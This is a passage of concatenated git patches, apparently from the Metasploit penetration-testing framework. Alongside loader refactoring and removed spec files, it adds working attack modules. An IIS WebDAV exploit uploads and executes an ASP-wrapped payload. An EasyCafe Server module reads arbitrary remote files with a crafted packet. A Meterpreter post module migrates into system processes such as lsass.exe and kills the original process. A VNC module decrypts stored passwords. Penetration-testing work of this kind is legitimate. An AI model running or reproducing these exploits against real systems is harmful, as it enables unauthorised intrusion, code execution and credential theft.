MicrosoftPatchFinder::Helper do - - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - - def get_stderr(&block) - out = $stderr - $stderr = fake = StringIO.new - begin - yield - ensure - $stderr = out - end - fake.string - end - subject(:object_helper) do mod = Object.new mod.extend MicrosoftPatchFinder::Helper diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 0a4572f504..cf12fd4f3f 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -172,19 +172,6 @@ RSpec.describe VirusTotalUtility do describe VirusTotalUtility::Driver do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - before do $stdin = StringIO.new("Y\n") end From 9120a6aa7675866fc1ab0970b02dba89bdc9f1b8 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Sat, 26 Dec 2015 16:01:46 +0000 Subject: [PATCH 1713/2172] iis_webdav_upload_asp: Add COPY and a few other tricks --- .../windows/iis/iis_webdav_upload_asp.rb | 105 ++++++++++++------ 1 file changed, 74 insertions(+), 31 deletions(-) diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index 820a193e55..55392c83c4 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -42,19 +42,49 @@ class Metasploit3 < Msf::Exploit::Remote [ # The USERNAME and PASSWORD are registered again to make them more obvious they're # configurable. - OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), - OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) + OptString.new('USERNAME', + [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', + [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PATH', + [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']), + OptEnum.new('METHOD', + [true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move','copy']]) ], self.class) end def exploit - # Generate the ASP containing the EXE containing the payload exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s) - path_tmp = path.gsub(/\....$/, ".txt") + path = "/" + path if path[0] != "/" + # Incase of "/path/to/filename.asp;.txt" + path_tmp = "/" + File.basename(path.gsub(/\;.*/,''), ".*") + ".txt" + path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/" + action = datastore['METHOD'].downcase.gsub('e','') + "ing" + alt_method = "move" + alt_method = "copy" if datastore['METHOD'].upcase == "MOVE" + + # + # CHECK + # + print_status("Checking #{path}") + res = send_request_cgi({ + 'uri' => path , + 'method' => 'GET', + }, 20) + + if (!res) + print_error("Connection timed out while trying to check #{path}") + return + end + + if (res.code == 200) + print_error("File #{path} alrady exists on the target") + return + end + # # UPLOAD @@ -66,14 +96,14 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => path_tmp, 'method' => 'PUT', 'ctype' => 'application/octet-stream', - 'data' => asp, + 'data' => asp, }, 20) rescue Errno::ECONNRESET => e print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.") return end - if (! res) + if (!res) print_error("Connection timed out while uploading to #{path_tmp}") return end @@ -84,30 +114,39 @@ class Metasploit3 < Msf::Exploit::Remote end # - # MOVE + # MOVE/COPY # - print_status("Moving #{path_tmp} to #{path}...") + if (path_tmp == path) + print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})") + print_warning("Do not end PATH with '.txt'") + else + print_status("#{action.capitalize} #{path_tmp} to #{path}...") - res = send_request_cgi({ - 'uri' => path_tmp, - 'method' => 'MOVE', - 'headers' => {'Destination' => path} - }, 20) + res = send_request_cgi({ + 'uri' => path_tmp, + 'method' => datastore['METHOD'].upcase, + 'headers' => {'Destination' => path} + }, 20) - if (! res) - print_error("Connection timed out while moving to #{path}") - return - end - - if (res.code < 200 or res.code >= 300) - print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]") - case res.code - when 403 - print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.") + if (!res) + print_error("Connection timed out while moving to #{path}") + return + end + + if (res.code < 200 or res.code >= 300) + print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]") + case res.code + when 403 + print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.") + end + return + elsif (res.code == 207) + print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]") + print_warning("Try using 'set METHOD #{alt_method}' instead") end - return end + # # EXECUTE # @@ -118,7 +157,9 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }, 20) - if (! res) + sleep(2) + + if (!res) print_error("Execution failed on #{path} [No Response]") return end @@ -126,24 +167,26 @@ class Metasploit3 < Msf::Exploit::Remote if (res.code < 200 or res.code >= 300) print_error("Execution failed on #{path} [#{res.code} #{res.message}]") case res.message - when 'Object Not Found' - print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.") + when 'Not Found', 'Object Not Found' + print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'") + print_warning("Try using 'set METHOD #{alt_method}' instead") + vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") if not path.include? ";" end return end - # # DELETE # - print_status("Deleting #{path}, this doesn't always work...") + print_status("Deleting #{path} (this doesn't always work)...") res = send_request_cgi({ 'uri' => path, 'method' => 'DELETE' }, 20) - if (! res) + + if (!res) print_error("Deletion failed on #{path} [No Response]") return end From 47261c27d41f228d953e935d398634e034c23a6e Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 27 Dec 2015 12:00:50 +0000 Subject: [PATCH 1714/2172] Add EasyCafe Server Remote File Access module --- .../misc/easycafe_server_fileaccess.rb | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb new file mode 100644 index 0000000000..820dec0607 --- /dev/null +++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EasyCafe Server Remote File Access', + 'Description' => %q{ + This module exploits a file retrieval vulnerability in + EasyCafe Server. The vulnerability can be triggered by + sending a specially crafted packet (opcode 0x43) to the + 831/TCP port. + This module has been successfully tested on EasyCafe Server + version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3 + and Windows 7 SP1. + Note that the server will throw a popup messagebox if the + specified file does not exist. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'R-73eN', # Vulnerability Discovery + 'Brendan Coles ' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '39102' ] + ] + )) + + register_options( + [ + Opt::RPORT(831), + OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']) + ], self.class) + end + + def run_host(ip) + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + print_error('Please supply the name of the file you want to download') + return + end + + file_path = datastore['FILEPATH'] + packet = "\x43" + packet << file_path + packet << "\x00" * (255 - file_path.length) + packet << "\x01\x00\x00\x00\x01" + + vprint_status("#{peer} - Sending request (#{packet.length} bytes)") + connect + sock.put(packet) + res = sock.get(15) + disconnect + unless res + print_error("#{peer} - Unable to retrieve file due to a timeout.") + return + end + vprint_status("#{peer} - Received response (#{res.length} bytes)") + + # Extract file contents + # Content begins after \x00\x01 + contents = res.sub(/\A.*?\x00\x01/m, '').to_s + if contents.nil? || contents.empty? + print_error("#{peer} - Unexpected reply. Unable to extract contents") + return + end + print_status("#{peer} - File retrieved successfully (#{contents.length} bytes)!") + path = store_loot( + 'easycafe_server', + 'application/octet-stream', + ip, + contents, + File.basename(file_path) + ) + print_status("File saved in: #{path}") + end +end From 0de69a9d40c5a4841290eafb25a7174463eb8b5c Mon Sep 17 00:00:00 2001 From: Josh Date: Sun, 27 Dec 2015 19:26:21 -0600 Subject: [PATCH 1715/2172] Add post Windows privilege based migrate --- modules/post/windows/manage/priv_migrate.rb | 147 ++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 modules/post/windows/manage/priv_migrate.rb diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb new file mode 100644 index 0000000000..4e7955c264 --- /dev/null +++ b/modules/post/windows/manage/priv_migrate.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Privilege Based Process Migration ', + 'Description' => %q{ This module will migrate a Meterpreter session based on session privileges. + It will do everything it can to migrate, including spawing a new User level process. + For sessions with Admin rights: It will try to migrate into a System level process in the following + order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe. + If al these fail, it will fall back to User level migration. For sessions with User level rights: + It will try to migrate to a user level process, if that fails it will attempt to spawn the process + then migrate to it. It will attempt the User level processes in the following order: + NAME (if specified), explorer.exe, then notepad.exe.}, + 'License' => MSF_LICENSE, + 'Author' => ['Josh Hale '], + 'Platform' => ['win' ], + 'SessionTypes' => ['meterpreter' ] + )) + + register_options( + [ + OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), + OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), + OptBool.new( 'KILL', [false, 'Kill original session process.', false]) + ], self.class) + end + + def run + # Populate target arrays + admin_targets = [] + admin_targets << datastore['ANAME'] if datastore['ANAME'] + admin_targets << "services.exe" << "winlogon.exe" << "wininit.exe" << "lsm.exe" << "lsass.exe" + + user_targets = [] + user_targets << datastore['NAME'] if datastore['NAME'] + user_targets << "explorer.exe" << "notepad.exe" + + # Get current process information + original_pid = client.sys.process.open.pid + original_name = client.sys.process.open.name + print_status("Current session process is #{original_name} (#{original_pid}) as: #{client.sys.config.getuid}") + + # Admin level migration starts here + if is_admin? + if !is_system? + print_status("Session is Admin but not System.") + print_status("Will attempt to migrate to a System level process.") + else + print_status("Session is already Admin and System.") + print_status("Will attempt to migrate to specified System level process.") + end + + # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. + admin_targets.each do |target_name| + if migrate(get_pid(target_name), target_name) + kill(original_pid, original_name) if datastore['KILL'] + return + end + end + print_error("Unable to migrate to any of the System level processes.") + else + print_status("Session has User level rights.") + end + + # User level migration starts here + print_status("Will attempt to migrate to a User level process.") + + # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. + user_targets.each do |target_name| + if migrate(get_pid(target_name), target_name) + kill(original_pid, original_name) if datastore['KILL'] + return + end + + if migrate(spawn(target_name), target_name) + kill(original_pid, original_name) if datastore['KILL'] + return + end + end + end + + # This function returns the first process id of a process with the name provided. + # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. + def get_pid(proc_name) + processes = client.sys.process.get_processes + processes.each do |proc| + return proc['pid'] if proc['name'] == proc_name + end + return nil + end + + # This function attempts to migrate to the specified process. + def migrate(target_pid, proc_name) + if !target_pid + print_error("Could not migrate to #{proc_name}.") + return false + end + + begin + print_status("Trying #{proc_name} (#{target_pid})") + client.core.migrate(target_pid) + print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") + return true + rescue ::Exception => e + print_error("Could not migrate to #{proc_name}.") + print_error(e.to_s) + return false + end + end + + # This function will attempt to spawn a new process of the type provided by the name. + def spawn(proc_name) + begin + print_status("Attempting to spawn #{proc_name}") + proc = session.sys.process.execute(proc_name, nil, {'Hidden' => true }) + print_good("Successfully spawned #{proc_name}") + return proc.pid + rescue ::Exception => e + print_error("Could not spawn #{proc_name}.") + print_error(e.to_s) + return nil + end + end + + # This function will try to kill the original session process + def kill(proc_pid, proc_name) + begin + print_status("Trying to kill original process #{proc_name} (#{proc_pid})") + session.sys.process.kill(proc_pid) + print_good("Successfully killed process #{proc_name} (#{proc_pid})") + rescue ::Exception => e + print_error("Could not kill original process #{proc_name} (#{proc_pid})") + print_error(e.to_s) + end + end +end + From 6b9c74eec70b4cf9d1c043c7ad7a2748a3725bbb Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 28 Dec 2015 02:31:47 -0600 Subject: [PATCH 1716/2172] Prefer gsub and nix the return --- modules/post/windows/gather/credentials/vnc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index e3d114689a..a4488e672e 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post # 5A B2 CD C0 BA DC AF 13 fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" pass = Rex::Proto::RFB::Cipher.decrypt ["#{hash}"].pack('H*'), fixedkey - return pass.gsub!(/\0/, '') + pass.gsub(/\0/, '') end # Pull encrypted passwords from file based storage From 89d691de84695e49d6e65f1e08c54fc1474e864e Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Mon, 28 Dec 2015 21:26:10 +0100 Subject: [PATCH 1717/2172] first try in changing class names --- lib/msf/core/exploit/ftpserver.rb | 2 +- lib/msf/core/exploit/smb/server/share.rb | 4 +- lib/msf/core/module_manager/loading.rb | 2 +- lib/msf/core/modules/loader/base.rb | 59 ++++---------- .../metasploit_class_compatibility_error.rb | 14 ---- lib/msf/core/modules/namespace.rb | 76 ------------------- .../modules/version_compatibility_error.rb | 52 ------------- .../multi/http/joomla_http_header_rce.rb | 2 +- 8 files changed, 21 insertions(+), 190 deletions(-) delete mode 100644 lib/msf/core/modules/metasploit_class_compatibility_error.rb delete mode 100644 lib/msf/core/modules/namespace.rb delete mode 100644 lib/msf/core/modules/version_compatibility_error.rb diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 41dea0f789..e1990f69ad 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -56,7 +56,7 @@ module Exploit::Remote::FtpServer # exists for the given command, returns a generic default response. # # @example Handle SYST requests - # class Metasploit4 < Msf::Exploit + # class Metasploit < Msf::Exploit # include Msf::Exploit::Remote::FtpServer # ... # def on_client_command_syst(cmd_conn, arg) diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb index 1ddbdd4172..aaf949ef3b 100644 --- a/lib/msf/core/exploit/smb/server/share.rb +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -17,7 +17,7 @@ module Msf # @example Use it from an Auxiliary module # require 'msf/core' # - # class Metasploit3 < Msf::Auxiliary + # class Metasploit < Msf::Auxiliary # # include Msf::Exploit::Remote::SMB::Server::Share # @@ -59,7 +59,7 @@ module Msf # @example Use it from an Exploit module # require 'msf/core' # - # class Metasploit3 < Msf::Exploit::Remote + # class Metasploit < Msf::Exploit::Remote # Rank = ExcellentRanking # # include Msf::Exploit::EXE diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index c5900bd15a..415107d82d 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -122,4 +122,4 @@ module Msf::ModuleManager::Loading count_by_type end -end \ No newline at end of file +end diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 5f4586efd6..617e449efa 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -3,9 +3,7 @@ # Project # require 'msf/core/modules/loader' -require 'msf/core/modules/namespace' -require 'msf/core/modules/metasploit_class_compatibility_error' -require 'msf/core/modules/version_compatibility_error' +require 'msf/core/modules/error' # Responsible for loading modules for {Msf::ModuleManager}. # @@ -26,13 +24,10 @@ class Msf::Modules::Loader::Base Msf::MODULE_POST => 'post' } # This must calculate the first line of the NAMESPACE_MODULE_CONTENT string so that errors are reported correctly - NAMESPACE_MODULE_LINE = __LINE__ + 4 + NAMESPACE_MODULE_LINE = __LINE__ + 1 # By calling module_eval from inside the module definition, the lexical scope is captured and available to the code in # module_content. NAMESPACE_MODULE_CONTENT = <<-EOS - # ensure the namespace module can respond to checks during loading - extend Msf::Modules::Namespace - class << self # The loader that originally loaded this module # @@ -131,8 +126,6 @@ class Msf::Modules::Loader::Base reload ||= force || file_changed - metasploit_class = nil - module_content = read_module_content(parent_path, type, module_reference_name) if module_content.empty? @@ -140,6 +133,7 @@ class Msf::Modules::Loader::Base return false end + klass = nil try_eval_module = lambda { |namespace_module| # set the parent_path so that the module can be reloaded with #load_module namespace_module.parent_path = parent_path @@ -150,44 +144,21 @@ class Msf::Modules::Loader::Base rescue ::Interrupt raise rescue ::Exception => error - # Hide eval errors when the module version is not compatible - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - else - load_error(module_path, error) - end - - return false - end - - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - - return false - end - - begin - metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error load_error(module_path, error) - return false end - unless usable?(metasploit_class) - ilog( - "Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.", - 'core', - LEV_1 - ) - + if namespace_module.const_defined?('Metasploit3') || namespace_module.const_defined?('Metasploit4') + load_error(module_path, Msf::Modules::Error.new({ + :module_path => module_path, + :module_reference_name => module_reference_name, + :causal_message => 'Please change the module class name to Metasploit' + })) return false end + klass = namespace_module.const_get('Metasploit') + if reload ilog("Reloading #{type} module #{module_reference_name}. Ambiguous module warnings are safe to ignore", 'core', LEV_2) else @@ -206,7 +177,7 @@ class Msf::Modules::Loader::Base # Do some processing on the loaded module to get it into the right associations module_manager.on_module_load( - metasploit_class, + klass, type, module_reference_name, { @@ -432,8 +403,10 @@ class Msf::Modules::Loader::Base log_lines << "#{module_path} failed to load due to the following error:" log_lines << error.class.to_s log_lines << error.to_s - log_lines << "Call stack:" - log_lines += error.backtrace + if error.backtrace + log_lines << "Call stack:" + log_lines += error.backtrace + end log_message = log_lines.join("\n") elog(log_message) diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb deleted file mode 100644 index ae829392cf..0000000000 --- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant -# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module. -class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error - def initialize(attributes={}) - super_attributes = { - :causal_message => 'Missing compatible Metasploit class constant', - }.merge(attributes) - - super(super_attributes) - end -end \ No newline at end of file diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb deleted file mode 100644 index fa65f5fa26..0000000000 --- a/lib/msf/core/modules/namespace.rb +++ /dev/null @@ -1,76 +0,0 @@ -# -*- coding: binary -*- -require 'metasploit/framework/api/version' -require 'metasploit/framework/core/version' - -# Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and -# grabbing the version specific-Metasploit* class. -module Msf::Modules::Namespace - # Returns the Metasploit(3|2|1) class from the module_evalled content. - # - # @note The module content must be module_evalled into this namespace module before the return of - # {#metasploit_class} is valid. - # - # @return [Msf::Module] if a Metasploit(3|2|1) class exists in this module - # @return [nil] if such as class is not defined. - def metasploit_class - metasploit_class = nil - - ::Msf::Framework::Major.downto(1) do |major| - # Since we really only care about the deepest namespace, we don't - # need to look for parents' constants. However, the "inherit" - # parameter for const_defined? only exists after 1.9. If we ever - # drop 1.8 support, we can save a few cycles here by passing false - # here. - if const_defined?("Metasploit#{major}") - metasploit_class = const_get("Metasploit#{major}") - - break - end - end - - metasploit_class - end - - def metasploit_class!(module_path, module_reference_name) - metasploit_class = self.metasploit_class - - unless metasploit_class - raise Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - metasploit_class - end - - # Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required - # versions defined in RequiredVersions in the module content. - # - # @note The module content must be module_evalled into this namespace module using module_eval_with_lexical_scope - # before calling {#version_compatible!} is valid. - # - # @param [String] module_path Path from where the module was read. - # @param [String] module_reference_name The canonical name for the module. - # @raise [Msf::Modules::VersionCompatibilityError] if RequiredVersion[0] > Msf::Framework::VersionCore or - # RequiredVersion[1] > Msf::Framework::VersionApi - # @return [void] - def version_compatible!(module_path, module_reference_name) - if const_defined?(:RequiredVersions) - required_versions = const_get(:RequiredVersions) - minimum_core_version = Gem::Version.new(required_versions[0].to_s) - minimum_api_version = Gem::Version.new(required_versions[1].to_s) - - if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || - minimum_api_version > Metasploit::Framework::API::GEM_VERSION) - raise Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end - end - end -end - diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb deleted file mode 100644 index fb52be3fc8..0000000000 --- a/lib/msf/core/modules/version_compatibility_error.rb +++ /dev/null @@ -1,52 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module} -# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the -# {Msf::Modules::Loader::Base#read_module_content module content}. -class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error - # @param [Hash{Symbol => Float}] attributes - # @option attributes [Float] :minimum_api_version The minimum {Msf::Framework::VersionAPI} as defined in - # RequiredVersions. - # @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in - # RequiredVersions. - def initialize(attributes={}) - @minimum_api_version = attributes[:minimum_api_version] - @minimum_core_version = attributes[:minimum_core_version] - - message_parts = [] - message_parts << 'version check' - - if minimum_api_version or minimum_core_version - clause_parts = [] - - if minimum_api_version - clause_parts << "API >= #{minimum_api_version}" - end - - if minimum_core_version - clause_parts << "Core >= #{minimum_core_version}" - end - - clause = clause_parts.join(' and ') - message_parts << "(requires #{clause})" - end - - causal_message = message_parts.join(' ') - - super_attributes = { - :causal_message => causal_message - }.merge(attributes) - - super(super_attributes) - end - - # @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible. - attr_reader :minimum_api_version - # @return [Float] The minimum value of {Msf::Framework::VersionCore} for the module to be compatible. - attr_reader :minimum_core_version - # @return [String] the path to the module that declared the RequiredVersions - attr_reader :module_path - # @return [String] the module reference name that declared the RequiredVersions - attr_reader :module_reference_name -end \ No newline at end of file diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index c047d6242c..d395288c87 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class Metasploit < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Joomla From 424e3468390cbcde463f3706088de3f482f62c9e Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Mon, 28 Dec 2015 23:02:14 +0100 Subject: [PATCH 1718/2172] do not fail on old class name --- lib/msf/core/modules/loader/base.rb | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 617e449efa..851e2ec510 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -148,17 +148,31 @@ class Msf::Modules::Loader::Base return false end - if namespace_module.const_defined?('Metasploit3') || namespace_module.const_defined?('Metasploit4') + if namespace_module.const_defined?('Metasploit3') + klass = namespace_module.const_get('Metasploit3') load_error(module_path, Msf::Modules::Error.new({ :module_path => module_path, :module_reference_name => module_reference_name, :causal_message => 'Please change the module class name to Metasploit' })) + elsif namespace_module.const_defined?('Metasploit4') + klass = namespace_module.const_get('Metasploit4') + load_error(module_path, Msf::Modules::Error.new({ + :module_path => module_path, + :module_reference_name => module_reference_name, + :causal_message => 'Please change the module class name to Metasploit' + })) + elsif namespace_module.const_defined?('Metasploit') + klass = namespace_module.const_get('Metasploit') + else + load_error(module_path, Msf::Modules::Error.new({ + :module_path => module_path, + :module_reference_name => module_reference_name, + :causal_message => 'Invalid module (no Metasploit class or module name)' + })) return false end - klass = namespace_module.const_get('Metasploit') - if reload ilog("Reloading #{type} module #{module_reference_name}. Ambiguous module warnings are safe to ignore", 'core', LEV_2) else From 64bf5c980ed30dee2e20c492619e23aab2a162db Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 29 Dec 2015 00:10:07 +0100 Subject: [PATCH 1719/2172] remove corresponding spec files --- ...tasploit_class_compatibility_error_spec.rb | 8 - spec/lib/msf/core/modules/namespace_spec.rb | 268 ------------------ .../version_compatibility_error_spec.rb | 63 ---- 3 files changed, 339 deletions(-) delete mode 100644 spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb delete mode 100644 spec/lib/msf/core/modules/namespace_spec.rb delete mode 100644 spec/lib/msf/core/modules/version_compatibility_error_spec.rb diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb deleted file mode 100644 index e4daf5f67c..0000000000 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ /dev/null @@ -1,8 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core/modules/metasploit_class_compatibility_error' - -RSpec.describe Msf::Modules::MetasploitClassCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' -end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb deleted file mode 100644 index ce8fa1588d..0000000000 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ /dev/null @@ -1,268 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' -require 'msf/core/modules/namespace' - -RSpec.describe Msf::Modules::Namespace do - let(:module_path) do - "parent/path/type_directory/#{module_reference_name}.rb" - end - - let(:module_reference_name) do - 'module/reference/name' - end - - subject do - mod = Module.new - mod.extend described_class - - mod - end - - context 'metasploit_class' do - before(:each) do - if major - subject.const_set("Metasploit#{major}", Class.new) - end - end - - context 'without Metasploit constant defined' do - let(:major) do - nil - end - - it 'should not be defined' do - metasploit_constants = subject.constants.select { |constant| - constant.to_s =~ /Metasploit/ - } - - expect(metasploit_constants).to be_empty - end - end - - context 'with Metasploit1 constant defined' do - let(:major) do - 1 - end - - it 'should be defined' do - expect(subject.const_defined?('Metasploit1')).to be_truthy - end - - it 'should return the class' do - expect(subject.metasploit_class).to be_a Class - end - end - - context 'with Metasploit2 constant defined' do - let(:major) do - 2 - end - - it 'should be defined' do - expect(subject.const_defined?('Metasploit2')).to be_truthy - end - - it 'should return the class' do - expect(subject.metasploit_class).to be_a Class - end - end - - context 'with Metasploit3 constant defined' do - let(:major) do - 3 - end - - it 'should be defined' do - expect(subject.const_defined?('Metasploit3')).to be_truthy - end - - it 'should return the class' do - expect(subject.metasploit_class).to be_a Class - end - end - - context 'with Metasploit4 constant defined' do - let(:major) do - 4 - end - - it 'should be defined' do - expect(subject.const_defined?('Metasploit4')).to be_truthy - end - - it 'should return the class' do - expect(subject.metasploit_class).to be_a Class - end - end - - context 'with Metasploit5 constant defined' do - let(:major) do - 5 - end - - it 'should be defined' do - expect(subject.const_defined?('Metasploit5')).to be_truthy - end - - it 'should be newer than Msf::Framework::Major' do - expect(major).to be > Msf::Framework::Major - end - - it 'should return nil' do - expect(subject.metasploit_class).to be_nil - end - end - end - - context 'metasploit_class!' do - it 'should call metasploit_class' do - expect(subject).to receive(:metasploit_class).and_return(Class.new) - - subject.metasploit_class!(module_path, module_reference_name) - end - - context 'with metasploit_class' do - let(:metasploit_class) do - Class.new - end - - before(:each) do - allow(subject).to receive(:metasploit_class).and_return(metasploit_class) - end - - it 'should return the metasploit_class' do - 